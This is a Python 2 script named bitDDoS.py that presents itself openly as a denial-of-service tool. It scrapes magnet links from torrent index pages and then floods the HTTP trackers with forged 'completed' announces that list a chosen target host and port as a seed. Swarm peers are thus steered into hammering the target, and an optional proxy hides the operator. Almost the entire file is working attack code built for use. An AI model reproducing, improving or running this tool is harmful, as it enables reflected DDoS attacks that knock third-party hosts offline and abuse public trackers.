#!/usr/bin/env python2.7
#
# bitDDoS.py
#
# Bittorrent Swarm ``DDoS Tool''
# Injects target machine into large bittorent swarms
#
# no fucking idea if this works or not
#
from urllib import urlencode, unquote
from urlparse import parse_qs
import random, time, socket, threading, traceback, binascii, copy
import requests # http://pypi.python.org/pypi/requests/0.14.1
import hunnyb # http://pypi.python.org/pypi/HunnyB/0.1.0
from bs4 import BeautifulSoup as BS # http://pypi.python.org/pypi/beautifulsoup4/4.1.3
class locking_dict:
def __init__(self):
self.data = dict()
self._alock = threading.Lock()
def __setitem__(self,k,v):
self._alock.acquire()
r = self.data[k]=v
self._alock.release()
def __getitem__(self,k):
self._alock.acquire()
r = None
try:
r = self.data[k]
except:
pass
self._alock.release()
return r
def __delitem__(self,k):
self._alock.acquire()
try:
del self.data[k]
except:
pass
self._alock.release()
def __contains__(self,i):
r = self.data.__contains__(i)
return r
def __len__(self):
r = len(self.data)
return r
def __iter__(self):
r = self.data.__iter__()
return r
def __index__(self,i):
r = self.data.__index__(i)
return r
def keys(self):
r = self.data.keys()
return r
def _announce(ctx):
"""
announce to trackers many "fake" seeds for many different torrents
"""
qs = {
'port':ctx['port'],
'uploaded' : 0,
'downloaded' : 0,
'left':0,
'event':'completed',
}
try:
for tracker in copy.copy(ctx['trackers'].data):
if tracker in ctx['blacklist']:
continue
for ih in copy.copy(ctx['trackers'][tracker]):
if ih in ctx['bad_ih']:
continue
def f():
ctx['tries'] += 1
qs['info_hash'] = ih
qs['peer_id'] = ctx['peer_id']()
qs['ip'] = socket.gethostbyname(ctx['host'])
resp = ctx['get_url']('%s?%s'%(tracker,urlencode(qs)))
if resp is None:
return
try:
resp = ctx['decode'](resp)
except:
return
if 'failure reason' in resp:
ctx['error']('Tracker Announce Failed: %s'%resp['failure reason'])
return
elif 'warning message' in resp:
ctx['error']('Tracker Warning: %s'%resp['warning message'])
return
ctx['success'] += 1
ctx['fork'](f)
ctx['sleep'](.5)
except:
pass
def _stats_loop(ctx):
while ctx['on']:
s = ctx['success']
f = ctx['fails']
a = ctx['tries']
if f+s > 0:
ctx['log']('%d / %d / %d (%f %% success)'%(s,f,a,100*(float(s)/float(f+s))))
ctx['sleep'](10)
def _mainloop(ctx):
"""
Mainloop
"""
ctx['fork'](ctx['finder_loop'])
ctx['fork'](ctx['stats_loop'])
while ctx['on']:
ctx['fork'](lambda : ctx['inject']())
ctx['sleep'](60)
def _log(ctx,m):
ctx['log_lock'].acquire()
m = str(m)
for p in m.split('\n'):
print ('[+] %s'%p.strip())
ctx['log_lock'].release()
def _error(ctx,m):
ctx['log_lock'].acquire()
m = str(m)
for p in m.split('\n'):
print ('[-] %s'%p.strip())
ctx['log_lock'].release()
def _fork(func):
try:
threading.Thread(target=func,args=()).start()
except:
ctx['print_error']()
def _find_torrents(ctx,page_data):
"""
given html, find all magnet links with at least 1 http based tracker announce url
add new entries found to list to announce with
"""
if page_data is None:
ctx['error']('No Data given to torrent finder')
return
bs = BS(page_data)
if bs is None:
ctx['error']('Failed to Parse page data of length %d'%len(page_data))
return
for link in bs.find_all('a'):
text = link.get('href')
if text is None or len(text) == 0:
continue
if text.startswith('magnet:?xt=urn:btih:'):
data = text.split(':')[3]
for tracker in data.split('&')[2:]:
tracker = unquote(tracker.split('=')[1])
if not tracker.startswith('http://'):
continue
if tracker not in ctx['trackers']:
ctx['trackers'][tracker] = dict()
infohash = ctx['infohash_to_bytes'](data.split('&')[0])
if infohash not in ctx['trackers'][tracker]:
ctx['trackers'][tracker][infohash] = ''
def _get_url(ctx,url):
"""
Do an HTTP GET request with given a url
"""
try:
if not url.startswith('http://'):
ctx['error']('%s is not an http url'%url)
return
if 'proxies' in ctx:
resp = requests.get(url,proxies=ctx['proxies'],headers={'User-Agent':''})
else:
resp = requests.get(url,headers={'User-Agent':''})
if resp is not None and resp.text is not None and resp.status_code == 200:
return resp.text
elif resp is not None and resp.status_code != 200:
if not resp.status_code >= 500:
ctx['error']('HTTP %s'%resp.status_code)
except:
pass
ctx['fails'] += 1
def _finder_loop(ctx):
while ctx['on']:
ctx['scrape_torrents']()
ctx['sleep'](3000)
def _infohash_to_bytes(ih):
ret = ''
for n in range(len(ih)/2):
ret+=binascii.a2b_hex(b'%s'%ih[n*2:(n*2)+2])
return ret
def _do_find_torrents(ctx):
ctx['log']('Updating Torrent DB')
ctx['blacklist'] = locking_dict()
ctx['bad_ih'] = locking_dict()
for url in ctx['urls']:
ctx['fork'](lambda : ctx['find_torrents'](url))
ctx['sleep'](1)
def _rand(l,chars='1234567890'):
ret = ''
for n in range(l):
ret += chars[random.randint(0,len(chars)-1)]
return ret
def init(ctx):
ctx['on'] = True
ctx['log'] = lambda m: _log(ctx,m)
ctx['error'] = lambda m: _error(ctx,m)
ctx['log_lock'] = threading.Lock()
ctx['blacklist'] = locking_dict()
ctx['trackers'] = locking_dict()
ctx['bad_ih'] = locking_dict()
ctx['success'] = 0
ctx['tries'] = 0
ctx['decode'] = hunnyb.decode
ctx['finder_loop'] = lambda : _finder_loop(ctx)
ctx['stats_loop'] = lambda : _stats_loop(ctx)
ctx['infohash_to_bytes'] = _infohash_to_bytes
ctx['peer_id'] = lambda : '-TR2720-%s'%_rand(12)
ctx['inject'] = lambda : _announce(ctx)
ctx['mainloop'] = lambda : _mainloop(ctx)
ctx['get_url'] = lambda url : _get_url(ctx,url)
ctx['scrape_torrents'] = lambda : _do_find_torrents(ctx)
ctx['find_torrents'] = lambda url : _find_torrents(ctx,ctx['get_url'](url))
ctx['print_error'] = lambda : ctx['error']('ERROR: %s'%traceback.format_exc())
ctx['fork'] = _fork
ctx['fails'] = 0
ctx['sleep'] = time.sleep
if 'proxies' in ctx:
ctx['log']('Using Proxy: %s'%ctx['proxies']['http'])
else:
ctx['log']('!!! Using No Proxy !!!')
if __name__ == '__main__':
import argparse, sys, os
p = argparse.ArgumentParser(description='Bittorrent Swarm Hijacker DDoS tool thingy')
p.add_argument('--proxy',help='http proxy to use')
p.add_argument('host',help='hostname or ip address of the target to attack')
p.add_argument('port',help='tcp port to attack the target on')
args = p.parse_args()
if not hasattr(args,'host') or not hasattr(args,'port'):
p.print_usage()
sys.exit(0)
urls = []
for url in ['http://kat.ph/movies/','http://kat.ph/music/','http://kat.ph/anime/','http://kat.ph/books/' ]:
for n in range(3):
urls.append('%s%d/'%(url,n+1))
ctx = {
'host':args.host,
'port':args.port,
'urls':urls
}
if args.proxy is not None:
ctx['proxies'] = {'http':args.proxy}
init(ctx)
try:
ctx['mainloop']()
except KeyboardInterrupt:
ctx['log']('Interrupted')
os.abort()
except:
ctx['print_error']()
